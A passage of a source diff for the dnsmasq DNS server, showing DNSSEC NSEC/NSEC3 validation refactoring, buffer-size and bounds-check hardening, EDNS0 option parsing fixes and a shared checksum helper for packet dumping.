if (check_type_bitmap(p, T_DNAME) && hostname_issubdomain(name, workspace1) == 1)
return DNSSEC_FAIL_NONSEC;
rdlen -= p[1] + 2;
p += p[1] + 2;
}
return 0;
@@ -1381,13 +1393,13 @@ static int hash_name(char *in, unsigned char **out, struct nettle_hash const *ha
hash->update(ctx, to_wire(in), (unsigned char *)in);
hash->update(ctx, salt_len, salt);
hash->digest(ctx, hash->digest_size, digest);
nettle_digest_wrapper(hash, ctx, hash->digest_size, digest);
for(i = 0; i < iterations; i++)
{
hash->update(ctx, hash->digest_size, digest);
hash->update(ctx, salt_len, salt);
hash->digest(ctx, hash->digest_size, digest);
nettle_digest_wrapper(hash, ctx, hash->digest_size, digest);
}
from_wire(in);
@@ -1419,7 +1431,10 @@ static int base32_decode(char *in, unsigned char *out)
oc |= 1;
mask = mask >> 1;
if (((++on) & 7) == 0)
*p++ = oc;
{
*p++ = oc;
oc = 0;
}
oc = oc << 1;
}
}
@@ -1430,6 +1445,7 @@ static int base32_decode(char *in, unsigned char *out)
return p - out;
}
/* return 1 if we can prove record _doesn't_ exist */
static int check_nsec3_coverage(struct dns_header *header, size_t plen, int digest_len, unsigned char *digest, int type,
char *workspace1, char *workspace2, unsigned char **nsecs, int nsec_count, int *nons, int name_labels)
{
@@ -1466,50 +1482,35 @@ static int check_nsec3_coverage(struct dns_header *header, size_t plen, int dige
we just need to check the type map. p points to the RR data for the record.
Note we have packet length up to rdlen bytes checked. */
int offset = (type & 0xff) >> 3;
int mask = 0x80 >> (type & 0x07);
p += hash_len; /* skip next-domain hash */
rdlen -= p - psave;
/* check that the first typemap is complete. */
if (rdlen < 2 || rdlen < p[1] + 2)
return DNSSEC_FAIL_BADPACKET;
if (p[0] == 0 && p[1] >= 1)
{
/* If we can prove that there's no NS record, return that information. */
if (nons && (p[2] & (0x80 >> T_NS)) != 0)
*nons = 0;
/* A CNAME answer would also be valid, so if there's a CNAME is should
have been returned. */
if ((p[2] & (0x80 >> T_CNAME)) != 0)
return 0;
/* If the SOA bit is set for a DS record, then we have the
DS from the wrong side of the delegation. For the root DS,
this is expected. */
if (name_labels != 0 && type == T_DS && (p[2] & (0x80 >> T_SOA)) != 0)
return 0;
}
while (rdlen > 0)
{
if (rdlen < 2 || rdlen < p[1] + 2)
return DNSSEC_FAIL_BADPACKET;
return 0;
/* If we can prove that there's no NS record, return that information. */
if (nons && check_type_bitmap(p, T_NS))
*nons = 0;
if (p[0] == type >> 8)
{
/* Does the NSEC3 say our type exists? */
if (offset < p[1] && (p[offset+2] & mask) != 0)
return 0;
break; /* finished checking */
}
rdlen -= p[1];
p += p[1];
/* Does the NSEC3 say our type exists? */
if (check_type_bitmap(p, type))
return 0;
/* A CNAME answer would also be valid, so if there's a CNAME it should
have been returned. */
if (check_type_bitmap(p, T_CNAME))
return 0;
/* If the SOA bit is set for a DS record, then we have the
DS from the wrong side of the delegation. For the root DS,
this is expected. */
if (name_labels != 0 && type == T_DS && check_type_bitmap(p, T_SOA))
return 0;
rdlen -= p[1] + 2;
p += p[1] + 2;
}
return 1;
@@ -1545,11 +1546,11 @@ static int check_nsec3_coverage(struct dns_header *header, size_t plen, int dige
/* returns 0 on success, or DNSSEC_FAIL_* value on failure. */
static int prove_non_existence_nsec3(struct dns_header *header, size_t plen, unsigned char **nsecs, int nsec_count, char *workspace1,
char *workspace2, char *name, int type, char *wildname, int *nons, int *validate_counter)
char *workspace2, char *name, int type, int wild_offset, int *nons, int *validate_counter)
{
unsigned char *salt, *p, *digest;
int digest_len, i, iterations, salt_len, base32_len, algo = 0;
struct nettle_hash const *hash;
struct nettle_hash const *hash = NULL;
char *closest_encloser, *next_closest, *wildcard;
if (nons)
@@ -1643,9 +1644,9 @@ static int prove_non_existence_nsec3(struct dns_header *header, size_t plen, uns
if (*closest_encloser == '.')
closest_encloser++;
if (wildname && hostname_isequal(closest_encloser, wildname))
if (wild_offset != 0 && closest_encloser - name == wild_offset)
break;
if (dec_counter(validate_counter, NULL))
return DNSSEC_FAIL_WORK;
@@ -1687,18 +1688,20 @@ static int prove_non_existence_nsec3(struct dns_header *header, size_t plen, uns
return DNSSEC_FAIL_NONSEC;
/* Finally, check that there's no seat of wildcard synthesis */
if (!wildname)
if (wild_offset == 0)
{
if (!(wildcard = strchr(next_closest, '.')) || wildcard == next_closest)
return DNSSEC_FAIL_NONSEC;
wildcard--;
*wildcard = '*';
/* move our name to the start of the buffer to avoid pathalogical cases over-running the end in to_wire(). */
memmove(name, wildcard, strlen(wildcard) + 1);
if (dec_counter(validate_counter, NULL))
return DNSSEC_FAIL_WORK;
if ((digest_len = hash_name(wildcard, &digest, hash, salt, salt_len, iterations)) == 0)
if ((digest_len = hash_name(name, &digest, hash, salt, salt_len, iterations)) == 0)
return DNSSEC_FAIL_NONSEC;
if (!check_nsec3_coverage(header, plen, digest_len, digest, type, workspace1, workspace2, nsecs, nsec_count, NULL, 1))
@@ -1710,7 +1713,7 @@ static int prove_non_existence_nsec3(struct dns_header *header, size_t plen, uns
/* returns 0 on success, or DNSSEC_FAIL_* value on failure. */
static int prove_non_existence(struct dns_header *header, size_t plen, char *keyname, char *name, int qtype, int qclass,
char *wildname, int *nons, int *nsec_ttl, int *validate_counter)
int wild_offset, int *nons, int *nsec_ttl, int *validate_counter)
{
static unsigned char **nsecset = NULL, **rrsig_labels = NULL;
static int nsecset_sz = 0, rrsig_labels_sz = 0;
@@ -1858,7 +1861,7 @@ static int prove_non_existence(struct dns_header *header, size_t plen, char *key
if (type_found == T_NSEC)
return prove_non_existence_nsec(header, plen, nsecset, rrsig_labels, nsecs_found, daemon->workspacename, keyname, name, qtype, nons);
else if (type_found == T_NSEC3)
return prove_non_existence_nsec3(header, plen, nsecset, nsecs_found, daemon->workspacename, keyname, name, qtype, wildname, nons, validate_counter);
return prove_non_existence_nsec3(header, plen, nsecset, nsecs_found, daemon->workspacename, keyname, name, qtype, wild_offset, nons, validate_counter);
else
return DNSSEC_FAIL_NONSEC;
}
@@ -1934,7 +1937,7 @@ static int zone_status(char *name, int class, char *keyname, time_t now)
return STAT_INSECURE;
}
if (name_start == 0)
if (name_start <= 1)
break;
for (p = &name[name_start-2]; (*p != '.') && (p != name); p--);
@@ -1965,7 +1968,7 @@ static int zone_status(char *name, int class, char *keyname, time_t now)
if the nons argument is non-NULL.
*/
int dnssec_validate_reply(time_t now, struct dns_header *header, size_t plen, char *name, char *keyname,
int *class, int check_unsigned, int *neganswer, int *nons, int *nsec_ttl, int *validate_counter)
int *class, int check_unsigned, int *neganswer, int *prim_ok, int *nons, int *nsec_ttl, int *validate_counter)
{
static unsigned char **targets = NULL;
static int target_sz = 0;
@@ -1994,8 +1997,11 @@ int dnssec_validate_reply(time_t now, struct dns_header *header, size_t plen, ch
if (neganswer)
*neganswer = 0;
if (RCODE(header) == SERVFAIL)
return STAT_BOGUS | DNSSEC_FAIL_UPSTREAM;
if (RCODE(header) == SERVFAIL || ntohs(header->qdcount) != 1)
if (ntohs(header->qdcount) != 1)
return STAT_BOGUS;
if (RCODE(header) != NXDOMAIN && RCODE(header) != NOERROR)
@@ -2183,47 +2189,32 @@ int dnssec_validate_reply(time_t now, struct dns_header *header, size_t plen, ch
else
{
/* Not done, validate now */
int sigcnt, rrcnt;
char *wildname;
int sigcnt, rrcnt, wild_offset;
if (!explore_rrset(header, plen, class1, type1, name, keyname, &sigcnt, &rrcnt))
return STAT_BOGUS;
/* No signatures for RRset. We can be configured to assume this is OK and return an INSECURE result. */
if (sigcnt == 0)
{
/* NSEC and NSEC3 records must be signed. We make this assumption elsewhere. */
if (type1 == T_NSEC || type1 == T_NSEC3)
return STAT_BOGUS | DNSSEC_FAIL_NOSIG;
else if (nons && i >= ntohs(header->ancount))
/* If we're validating a DS reply, rather than looking for the value of AD bit,
we only care that NSEC and NSEC3 RRs in the auth section are signed.
Return SECURE even if others (SOA....) are not. */
rc = STAT_SECURE;
else
{
/* unsigned RRsets in auth section are not BOGUS, but do make reply insecure. */
if (check_unsigned && i < ntohs(header->ancount))
{
rc = zone_status(name, class1, keyname, now);
if (STAT_ISEQUAL(rc, STAT_SECURE))
rc = STAT_BOGUS | DNSSEC_FAIL_NOSIG;
if (class)
*class = class1; /* Class for NEED_DS or NEED_KEY */
}
else
rc = STAT_INSECURE;
if (!STAT_ISEQUAL(rc, STAT_INSECURE))
return rc;
}
}
/* NSEC and NSEC3 records must be signed. We make this assumption elsewhere. */
if (sigcnt == 0 && (type1 == T_NSEC || type1 == T_NSEC3))
return STAT_BOGUS | DNSSEC_FAIL_NOSIG;
else if (sigcnt == 0 && nons && i >= ntohs(header->ancount))
/* If we're validating a DS reply, rather than looking for the value of AD bit,
we only care that NSEC and NSEC3 RRs in the auth section are signed.
Return SECURE even if others (SOA....) are not. */
rc = STAT_SECURE;
else if (sigcnt == 0 && (!check_unsigned || i >= ntohs(header->ancount)))
/* unsigned RRsets in auth section are not BOGUS, but do make reply insecure. */
rc = STAT_INSECURE;
else
{
/* explore_rrset() gives us key name from sigs in keyname.
/* explore_rrset() gives us zone name from sigs in keyname, if
it didn't find a key, use the name we're validating.
Can't overwrite name here. */
strcpy(daemon->workspacename, keyname);
if (sigcnt == 0)
strcpy(daemon->workspacename, name);
else
strcpy(daemon->workspacename, keyname);
rc = zone_status(daemon->workspacename, class1, keyname, now);
if (STAT_ISEQUAL(rc, STAT_BOGUS) || STAT_ISEQUAL(rc, STAT_NEED_KEY) || STAT_ISEQUAL(rc, STAT_NEED_DS))
@@ -2233,12 +2224,12 @@ int dnssec_validate_reply(time_t now, struct dns_header *header, size_t plen, ch
return rc;
}
/* Zone is insecure, don't need to validate RRset */
/* If zone is insecure, don't need to validate RRset, and rc remains as STAT_INSECURE*/
if (STAT_ISEQUAL(rc, STAT_SECURE))
{
unsigned long sig_ttl;
rc = validate_rrset(now, header, plen, class1, type1, sigcnt,
rrcnt, name, keyname, &wildname, NULL, 0, 0, 0, &sig_ttl, validate_counter);
rrcnt, name, keyname, &wild_offset, NULL, 0, 0, 0, &sig_ttl, validate_counter);
if (STAT_ISEQUAL(rc, STAT_BOGUS) || STAT_ISEQUAL(rc, STAT_NEED_KEY) || STAT_ISEQUAL(rc, STAT_NEED_DS) || STAT_ISEQUAL(rc, STAT_ABANDONED))
{
@@ -2247,7 +2238,7 @@ int dnssec_validate_reply(time_t now, struct dns_header *header, size_t plen, ch
return rc;
}
/* rc is now STAT_SECURE or STAT_SECURE_WILDCARD */
/* rc is now STAT_SECURE */
/* Note that RR is validated */
daemon->rr_status[i] = sig_ttl;
@@ -2273,8 +2264,8 @@ int dnssec_validate_reply(time_t now, struct dns_header *header, size_t plen, ch
Note that we may not yet have validated the NSEC/NSEC3 RRsets.
That's not a problem since if the RRsets later fail
we'll return BOGUS then. */
if (STAT_ISEQUAL(rc, STAT_SECURE_WILDCARD) &&
((rc_nsec = prove_non_existence(header, plen, keyname, name, type1, class1, wildname, NULL, NULL, validate_counter))) != 0)
if (wild_offset != 0 &&
((rc_nsec = prove_non_existence(header, plen, keyname, name, type1, class1, wild_offset, NULL, NULL, validate_counter))) != 0)
return (rc_nsec & DNSSEC_FAIL_WORK) ? STAT_ABANDONED : (STAT_BOGUS | rc_nsec);
rc = STAT_SECURE;
@@ -2286,6 +2277,20 @@ int dnssec_validate_reply(time_t now, struct dns_header *header, size_t plen, ch
secure = STAT_INSECURE;
}
/* For a DS record, we are interested also in if the answer to the DS query was
a CNAME RRset which validated. That's proof that the DS doesn't exist,
even if it's a CNAME which is not signed, and therefore we have no proof
of what it actually _is_. This return tells us that the answer to
primary query is secure, even is the whole answer is insecure, because
something down the CNAME list doesn't validate or doesn't exist.
Note that prim_ok is only valid when neganswer is true, ie either
the answer is the requested record or it's a CNAME that ends
in a missing answer or an unsigned zone.
*/
if (prim_ok)
*prim_ok = !targets[0];
/* OK, all the RRsets validate, now see if we have a missing answer or CNAME target. */
for (j = 0; j <targetidx; j++)
if ((p2 = targets[j]))
@@ -2296,20 +2301,12 @@ int dnssec_validate_reply(time_t now, struct dns_header *header, size_t plen, ch
if (!extract_name(header, plen, &p2, name, EXTR_NAME_EXTRACT, 10))
return STAT_BOGUS; /* bad packet */
/* NXDOMAIN or NODATA reply, unanswered question is (name, qclass, qtype) */
/* For anything other than a DS record, this situation is OK if either
the answer is in an unsigned zone, or there's NSEC records.
For a DS record, we return INSECURE, which almost always turns
into BOGUS in the caller. */
if ((rc_nsec = prove_non_existence(header, plen, keyname, name, qtype, qclass, NULL, nons, nsec_ttl, validate_counter)) != 0)
/* NXDOMAIN or NODATA reply, unanswered question is (name, qclass, qtype)
This situation is OK if either the answer is in an unsigned zone, or there's NSEC records. */
if ((rc_nsec = prove_non_existence(header, plen, keyname, name, qtype, qclass, 0, nons, nsec_ttl, validate_counter)) != 0)
{
if (rc_nsec & DNSSEC_FAIL_WORK)
return STAT_ABANDONED;
/* Empty DS without NSECS */
if (qtype == T_DS)
return STAT_INSECURE;
if ((rc_nsec & (DNSSEC_FAIL_NONSEC | DNSSEC_FAIL_NSEC3_ITERS)) &&
!STAT_ISEQUAL((rc = zone_status(name, qclass, keyname, now)), STAT_SECURE))
@@ -2349,7 +2346,7 @@ int dnskey_keytag(int alg, int flags, unsigned char *key, int keylen)
}
}
size_t dnssec_generate_query(struct dns_header *header, unsigned char *end, char *name,
size_t dnssec_generate_query(struct dns_header *header, size_t outlen, char *name,
int class, int id, int type)
{
unsigned char *p;
@@ -2373,7 +2370,7 @@ size_t dnssec_generate_query(struct dns_header *header, unsigned char *end, char
PUTSHORT(type, p);
PUTSHORT(class, p);
return add_do_bit(header, p - (unsigned char *)header, end);
return add_do_bit(header, p - (unsigned char *)header, outlen);
}
int errflags_to_ede(int status)
@@ -2381,8 +2378,9 @@ int errflags_to_ede(int status)
/* We can end up with more than one flag set for some errors,
so this encodes a rough priority so the (eg) No sig is reported
before no-unexpired-sig. */
if (status & DNSSEC_FAIL_NYV)
if (status & DNSSEC_FAIL_UPSTREAM)
return EDE_US_SERVFAIL;
else if (status & DNSSEC_FAIL_NYV)
return EDE_SIG_NYV;
else if (status & DNSSEC_FAIL_EXP)
return EDE_SIG_EXP;
+8 -5
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -79,7 +79,9 @@ void build_server_array(void)
for (serv = daemon->local_domains; serv; serv = serv->next, count++)
daemon->serverarray[count] = serv;
qsort(daemon->serverarray, daemon->serverarraysz, sizeof(struct server *), order_qsort);
/* serverarray may be unallocated if we have no servers yet. */
if (daemon->serverarray)
qsort(daemon->serverarray, daemon->serverarraysz, sizeof(struct server *), order_qsort);
/* servers need the location in the array to find all the whole
set of equivalent servers from a pointer to a single one. */
@@ -406,12 +408,13 @@ int is_local_answer(time_t now, int first, char *name)
return rc;
}
size_t make_local_answer(int flags, int gotname, size_t size, struct dns_header *header, char *name, char *limit, int first, int last, int ede)
size_t make_local_answer(int flags, int gotname, size_t size, struct dns_header *header, char *name, size_t limit, int first, int last, int ede)
{
int trunc = 0, anscount = 0;
unsigned char *p;
int start;
union all_addr addr;
char *out_end = ((char *)header) + limit;
setup_reply(header, flags, ede);
@@ -441,7 +444,7 @@ size_t make_local_answer(int flags, int gotname, size_t size, struct dns_header
else
addr.addr4 = srv->addr;
if (add_resource_record(header, limit, &trunc, sizeof(struct dns_header), &p, daemon->local_ttl, NULL, T_A, C_IN, "4", &addr))
if (add_resource_record(header, out_end, &trunc, sizeof(struct dns_header), &p, daemon->local_ttl, NULL, T_A, C_IN, "4", &addr))
anscount++;
log_query((flags | F_CONFIG | F_FORWARD) & ~F_IPV6, name, (union all_addr *)&addr, NULL, 0);
}
@@ -456,7 +459,7 @@ size_t make_local_answer(int flags, int gotname, size_t size, struct dns_header
else
addr.addr6 = srv->addr;
if (add_resource_record(header, limit, &trunc, sizeof(struct dns_header), &p, daemon->local_ttl, NULL, T_AAAA, C_IN, "6", &addr))
if (add_resource_record(header, out_end, &trunc, sizeof(struct dns_header), &p, daemon->local_ttl, NULL, T_AAAA, C_IN, "6", &addr))
anscount++;
log_query((flags | F_CONFIG | F_FORWARD) & ~F_IPV4, name, (union all_addr *)&addr, NULL, 0);
}
+12 -12
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -162,12 +162,12 @@ int is_rev_synth(int flag, union all_addr *addr, char *name)
if (c->indexed)
{
unsigned int index = ntohl(addr->addr4.s_addr) - ntohl(c->start.s_addr);
snprintf(name, MAXDNAME, "%s%u", c->prefix ? c->prefix : "", index);
snprintf(name, MAXDNAMESTR, "%s%u", c->prefix ? c->prefix : "", index);
}
else
{
if (c->prefix)
strncpy(name, c->prefix, MAXDNAME - ADDRSTRLEN);
strncpy(name, c->prefix, MAXDNAMESTR - ADDRSTRLEN);
inet_ntop(AF_INET, &addr->addr4, name + strlen(name), ADDRSTRLEN);
for (p = name; *p; p++)
@@ -175,8 +175,8 @@ int is_rev_synth(int flag, union all_addr *addr, char *name)
*p = '-';
}
strncat(name, ".", MAXDNAME);
strncat(name, c->domain, MAXDNAME);
strncat(name, ".", MAXDNAMESTR - strlen(name) - 1);
strncat(name, c->domain, MAXDNAMESTR - strlen(name) - 1);
return 1;
}
@@ -188,7 +188,7 @@ int is_rev_synth(int flag, union all_addr *addr, char *name)
if (c->indexed)
{
u64 index = addr6part(&addr->addr6) - addr6part(&c->start6);
snprintf(name, MAXDNAME, "%s%llu", c->prefix ? c->prefix : "", index);
snprintf(name, MAXDNAMESTR, "%s%llu", c->prefix ? c->prefix : "", index);
}
else
{
@@ -196,21 +196,21 @@ int is_rev_synth(int flag, union all_addr *addr, char *name)
char frag[6];
if (c->prefix)
strncpy(name, c->prefix, MAXDNAME);
strncpy(name, c->prefix, MAXDNAMESTR);
for (i = 0; i < 16; i += 2)
{
sprintf(frag, "%s%02x%02x", i == 0 ? "" : "-", addr->addr6.s6_addr[i], addr->addr6.s6_addr[i+1]);
strncat(name, frag, MAXDNAME);
strncat(name, frag, MAXDNAMESTR - strlen(name) - 1);
}
}
strncat(name, ".", MAXDNAME);
strncat(name, c->domain, MAXDNAME);
strncat(name, ".", MAXDNAMESTR - strlen(name) - 1);
strncat(name, c->domain, MAXDNAMESTR - strlen(name) - 1);
return 1;
}
return 0;
}
+29 -26
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -85,7 +85,8 @@ void dump_init(void)
/* count existing records */
while (read_write(daemon->dumpfd, (void *)&pcap_header, sizeof(pcap_header), RW_READ))
{
lseek(daemon->dumpfd, pcap_header.incl_len, SEEK_CUR);
if (lseek(daemon->dumpfd, pcap_header.incl_len, SEEK_CUR) == (off_t)-1)
break;
packet_count++;
}
}
@@ -128,6 +129,23 @@ void dump_packet_icmp(int mask, void *packet, size_t len,
do_dump_packet(mask, packet, len, src, dst, -1, IPPROTO_ICMP);
}
static u32 calc_data_checksum(u32 sum, void *packet, size_t len)
{
u32 i;
for (i = 0; i < len/2; i++)
sum += ((u16 *)packet)[i];
if (len & 1) /* last byte, in case length is odd. */
sum += ((unsigned char *)packet)[len - 1];
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
if (sum != 0xffff)
sum = ~sum;
return sum;
}
static void do_dump_packet(int mask, void *packet, size_t len,
union mysockaddr *src, union mysockaddr *dst, int port, int proto)
{
@@ -225,13 +243,9 @@ static void do_dump_packet(int mask, void *packet, size_t len,
udp.uh_dport = dst->in.sin_port;
}
ip.ip_sum = 0;
for (sum = 0, i = 0; i < sizeof(struct ip) / 2; i++)
sum += ((u16 *)&ip)[i];
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
ip.ip_sum = (sum == 0xffff) ? sum : ~sum;
ip.ip_sum = 0; /* for the calculation */
ip.ip_sum = calc_data_checksum(0, &ip, sizeof(struct ip));
/* start UDP/ICMP checksum */
sum = ip.ip_src.s_addr & 0xffff;
sum += (ip.ip_src.s_addr >> 16) & 0xffff;
@@ -239,9 +253,6 @@ static void do_dump_packet(int mask, void *packet, size_t len,
sum += (ip.ip_dst.s_addr >> 16) & 0xffff;
}
if (len & 1)
((unsigned char *)packet)[len] = 0; /* for checksum, in case length is odd. */
if (proto == IPPROTO_UDP)
{
/* Add Remaining part of the pseudoheader. Note that though the
@@ -251,17 +262,12 @@ static void do_dump_packet(int mask, void *packet, size_t len,
sum += htons(IPPROTO_UDP);
sum += htons(sizeof(struct udphdr) + len);
udp.uh_sum = 0;
udp.uh_sum = 0; /* for the calculation */
udp.uh_ulen = htons(sizeof(struct udphdr) + len);
for (i = 0; i < sizeof(struct udphdr)/2; i++)
sum += ((u16 *)&udp)[i];
for (i = 0; i < (len + 1) / 2; i++)
sum += ((u16 *)packet)[i];
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
udp.uh_sum = (sum == 0xffff) ? sum : ~sum;
udp.uh_sum = calc_data_checksum(sum, packet, len);
pcap_header.incl_len = pcap_header.orig_len = ipsz + sizeof(udp) + len;
}
else
@@ -273,12 +279,9 @@ static void do_dump_packet(int mask, void *packet, size_t len,
sum += htons(proto);
sum += htons(len);
icmp->icmp6_cksum = 0;
for (i = 0; i < (len + 1) / 2; i++)
sum += ((u16 *)packet)[i];
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
icmp->icmp6_cksum = (sum == 0xffff) ? sum : ~sum;
icmp->icmp6_cksum = 0; /* for the calculation */
icmp->icmp6_cksum = calc_data_checksum(sum, packet, len);
pcap_header.incl_len = pcap_header.orig_len = ipsz + len;
}
+39 -24
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -100,13 +100,14 @@ unsigned char *find_pseudoheader(struct dns_header *header, size_t plen, size_t
replace == 1 ->replace existing or add option
replace == 2 ->relpace existing option only.
*/
size_t add_pseudoheader(struct dns_header *header, size_t plen, unsigned char *limit,
size_t add_pseudoheader(struct dns_header *header, size_t plen, size_t out_size,
int optno, unsigned char *opt, size_t optlen, int set_do, int replace)
{
unsigned char *lenp, *datap, *p, *udp_len, *buff = NULL;
unsigned char *lenp = NULL, *datap = NULL, *p, *udp_len, *buff = NULL;
int rdlen = 0, is_sign, is_last;
unsigned short flags = set_do ? 0x8000 : 0, rcode = 0;
unsigned char *limit = ((unsigned char *)header) + out_size;
p = find_pseudoheader(header, plen, NULL, &udp_len, &is_sign, &is_last);
if (is_sign)
@@ -247,9 +248,9 @@ size_t add_pseudoheader(struct dns_header *header, size_t plen, unsigned char *l
return p - (unsigned char *)header;
}
size_t add_do_bit(struct dns_header *header, size_t plen, unsigned char *limit)
size_t add_do_bit(struct dns_header *header, size_t plen, size_t outlen)
{
return add_pseudoheader(header, plen, (unsigned char *)limit, 0, NULL, 0, 1, 0);
return add_pseudoheader(header, plen, outlen, 0, NULL, 0, 1, 0);
}
static unsigned char char64(unsigned char c)
@@ -265,16 +266,27 @@ static void encoder(unsigned char *in, char *out)
out[3] = char64(in[2]);
}
/* This function needs to call find_mac if any option which requires a MAC address is enabled
and used below. If you add a new MAC consumer, modify this, otherwise your
new EDNS0 option won't work in TCP mode. */
void edns0_needs_mac(union mysockaddr *addr, time_t now)
{
if (option_bool(OPT_MAC_B64) || option_bool(OPT_MAC_HEX) || option_bool(OPT_ADD_MAC))
find_mac(addr, NULL, 0, now);
}
/* OPT_ADD_MAC = MAC is added (if available)
OPT_ADD_MAC + OPT_STRIP_MAC = MAC is replaced, if not available, it is only removed
OPT_STRIP_MAC = MAC is removed */
static size_t add_dns_client(struct dns_header *header, size_t plen, unsigned char *limit,
OPT_STRIP_MAC = MAC is removed
Handle only six byte MACs. */
static size_t add_dns_client(struct dns_header *header, size_t plen, size_t outlen,
union mysockaddr *l3, time_t now, int *cacheablep)
{
int replace = 0, maclen = 0;
unsigned char mac[DHCP_CHADDR_MAX];
char encode[18]; /* handle 6 byte MACs ONLY */
char encode[9] = { 0 };
char *encoded = encode;
if ((option_bool(OPT_MAC_B64) || option_bool(OPT_MAC_HEX)) && (maclen = find_mac(l3, mac, 1, now)) == 6)
{
if (option_bool(OPT_STRIP_MAC))
@@ -282,7 +294,7 @@ static size_t add_dns_client(struct dns_header *header, size_t plen, unsigned ch
*cacheablep = 0;
if (option_bool(OPT_MAC_HEX))
print_mac(encode, mac, maclen);
encoded = print_mac(mac, maclen);
else
{
encoder(mac, encode);
@@ -294,7 +306,7 @@ static size_t add_dns_client(struct dns_header *header, size_t plen, unsigned ch
replace = 2;
if (replace != 0 || maclen == 6)
plen = add_pseudoheader(header, plen, limit, EDNS0_OPTION_NOMDEVICEID, (unsigned char *)encode, strlen(encode), 0, replace);
plen = add_pseudoheader(header, plen, outlen, EDNS0_OPTION_NOMDEVICEID, (unsigned char *)encoded, strlen(encoded), 0, replace);
return plen;
}
@@ -303,7 +315,7 @@ static size_t add_dns_client(struct dns_header *header, size_t plen, unsigned ch
/* OPT_ADD_MAC = MAC is added (if available)
OPT_ADD_MAC + OPT_STRIP_MAC = MAC is replaced, if not available, it is only removed
OPT_STRIP_MAC = MAC is removed */
static size_t add_mac(struct dns_header *header, size_t plen, unsigned char *limit,
static size_t add_mac(struct dns_header *header, size_t plen, size_t outlen,
union mysockaddr *l3, time_t now, int *cacheablep)
{
int maclen = 0, replace = 0;
@@ -319,7 +331,7 @@ static size_t add_mac(struct dns_header *header, size_t plen, unsigned char *lim
replace = 2;
if (replace != 0 || maclen != 0)
plen = add_pseudoheader(header, plen, limit, EDNS0_OPTION_MAC, mac, maclen, 0, replace);
plen = add_pseudoheader(header, plen, outlen, EDNS0_OPTION_MAC, mac, maclen, 0, replace);
return plen;
}
@@ -400,7 +412,7 @@ static size_t calc_subnet_opt(struct subnet_opt *opt, union mysockaddr *source,
/* OPT_CLIENT_SUBNET = client subnet is added
OPT_CLIENT_SUBNET + OPT_STRIP_ECS = client subnet is replaced
OPT_STRIP_ECS = client subnet is removed */
static size_t add_source_addr(struct dns_header *header, size_t plen, unsigned char *limit,
static size_t add_source_addr(struct dns_header *header, size_t plen, size_t outlen,
union mysockaddr *source, int *cacheable)
{
/* http://tools.ietf.org/html/draft-vandergaast-edns-client-subnet-02 */
@@ -430,7 +442,7 @@ static size_t add_source_addr(struct dns_header *header, size_t plen, unsigned c
return plen;
}
return add_pseudoheader(header, plen, (unsigned char *)limit, EDNS0_OPTION_CLIENT_SUBNET, (unsigned char *)&opt, len, 0, replace);
return add_pseudoheader(header, plen, outlen, EDNS0_OPTION_CLIENT_SUBNET, (unsigned char *)&opt, len, 0, replace);
}
int check_source(struct dns_header *header, size_t plen, unsigned char *pseudoheader, union mysockaddr *peer)
@@ -460,6 +472,8 @@ int check_source(struct dns_header *header, size_t plen, unsigned char *pseudohe
{
GETSHORT(code, p);
GETSHORT(len, p);
if (i + 4 + len > rdlen)
break; /* malformed: option body extends beyond RDATA */
if (code == EDNS0_OPTION_CLIENT_SUBNET)
{
if (peer)
@@ -505,7 +519,7 @@ struct umbrella_opt {
u8 fields[4 * UMBRELLA_TYPESZ + UMBRELLA_ORGSZ + IN6ADDRSZ + UMBRELLA_DEVICESZ + UMBRELLA_ASSETSZ];
};
static size_t add_umbrella_opt(struct dns_header *header, size_t plen, unsigned char *limit, union mysockaddr *source, int *cacheable)
static size_t add_umbrella_opt(struct dns_header *header, size_t plen, size_t outlen, union mysockaddr *source, int *cacheable)
{
*cacheable = 0;
@@ -537,28 +551,29 @@ static size_t add_umbrella_opt(struct dns_header *header, size_t plen, unsigned
PUTLONG(daemon->umbrella_asset, u);
}
return add_pseudoheader(header, plen, (unsigned char *)limit, EDNS0_OPTION_UMBRELLA, (unsigned char *)&opt, u - (u8 *)&opt, 0, 1);
return add_pseudoheader(header, plen, outlen, EDNS0_OPTION_UMBRELLA, (unsigned char *)&opt, u - (u8 *)&opt, 0, 1);
}
/* Set *check_subnet if we add a client subnet option, which needs to checked
in the reply. Set *cacheable to zero if we add an option which the answer
may depend on. */
size_t add_edns0_config(struct dns_header *header, size_t plen, unsigned char *limit,
size_t add_edns0_config(struct dns_header *header, size_t plen, size_t outlen,
union mysockaddr *source, time_t now, int *cacheable)
{
*cacheable = 1;
plen = add_mac(header, plen, limit, source, now, cacheable);
plen = add_dns_client(header, plen, limit, source, now, cacheable);
plen = add_mac(header, plen, outlen, source, now, cacheable);
plen = add_dns_client(header, plen, outlen, source, now, cacheable);
if (daemon->dns_client_id)
plen = add_pseudoheader(header, plen, limit, EDNS0_OPTION_NOMCPEID,
plen = add_pseudoheader(header, plen, outlen, EDNS0_OPTION_NOMCPEID,
(unsigned char *)daemon->dns_client_id, strlen(daemon->dns_client_id), 0, 1);
if (option_bool(OPT_UMBRELLA))
plen = add_umbrella_opt(header, plen, limit, source, cacheable);
plen = add_umbrella_opt(header, plen, outlen, source, cacheable);
plen = add_source_addr(header, plen, limit, source, cacheable);
plen = add_source_addr(header, plen, outlen, source, cacheable);
return plen;
}
+297 -224
View File
File diff suppressed because it is too large. Load diff
+14 -24
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
